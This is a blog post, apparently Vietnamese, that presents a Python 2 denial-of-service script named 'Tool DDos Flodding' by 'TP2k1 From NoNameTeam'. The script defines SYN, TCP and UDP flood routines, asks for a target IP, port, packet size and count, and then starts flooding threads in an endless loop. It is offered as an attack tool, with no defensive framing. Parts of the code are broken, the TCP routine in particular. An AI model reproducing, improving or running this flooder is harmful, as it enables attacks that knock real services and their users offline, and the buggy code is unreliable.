Popular Post

Popular Posts

Posted by : Unknown Thứ Sáu, 24 tháng 7, 2015


###################################################
# -#- Tool DDos Flodding -#- #
# Version 2.0.0 #
# Coded mod by TP2k1 From NoNameTeam #
# Facebook : https://www.facebook.com/ngociue.3615#
# File : TP2k1.py #
###################################################
#IMPORTS
#coding: utf-8
import random
import socket
import sys
import threading
#TP2k1 SYN FLOOD
class synFlood(threading.Thread):
def __init__(self, ip, port, packets):
self.ip = ip
self.port = port
self.packets = packets
self.syn = socket.socket()
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
self.syn.connect((self.ip, self.port))
except:
pass
#KYMLJNKII TCP FLOOD
class tcpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = ip
self.port = port
self.size = size
self.packets = packets
self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
socket.connect(self.ip, self.port)
socket.setblocking(0)
socket.sendto(bytes,(self.ip, self.port))
except:
pass
#KYMLJNKII UDP FLOOD
class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = ip
self.port = port
self.size = size
self.packets = packets
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass
#Main
print(" .----. TP2k1 - And The NoNameTeam - Ver 2.0 .----. ")
print(".-. Chon cac type: stu, udp, tcp, syn. Nhan Ctr-C de Stop Attack -.")
#Input gia tri vao
#Type
type = raw_input("Type: ")
#IP
ip = raw_input("IP: ")
#Port
port = raw_input("Port: ")
#Size
size = '65000'
if type!='syn':
size=raw_input("Size: ")
#packets
packets = raw_input("Packets: ")
if type=='syn':
try:
dem = 0
while True:
dem = dem+1
t = synFlood(ip,port,int(packets))
t.start()
print str(dem)+' - TP2k1 Attack SYN -->'+ip+':'+port
except:
print 'Stop!'
pass
elif type=='tcp':
try:
dem = 0
while True:
dem = dem+1
t = tcpFlood(ip,port,size,int(packets))
t.start()
print str(dem)+' - TP2k1 Attack TCP -->'+ip+':'+port
except:
print 'Stop!'
pass
elif type=='udp':
try:
dem = 0
while True:
dem = dem+1
t = udpFlood(ip,port,size,int(packets))
t.start()
print str(dem)+' - TP2k1 Attack UDP -->'+ip+':'+port
except:
print 'Stop!'
pass
elif type=='stu':
try:
dem = 0
while True:
dem = dem+1
syn = synFlood(ip,port,int(packets))
syn.start()
tcp = tcpFlood(ip,port,size,int(packets))
tcp.start()
udp = udpFlood(ip,port,size,int(packets))
udp.start()
print str(dem)+' - TP2k1 Attack STU -->'+ip+':'+port
except:
print 'Stop!'
pass

Leave a Reply

Subscribe to Posts | Subscribe to Comments

- Copyright © 2016 Tutorial thật hay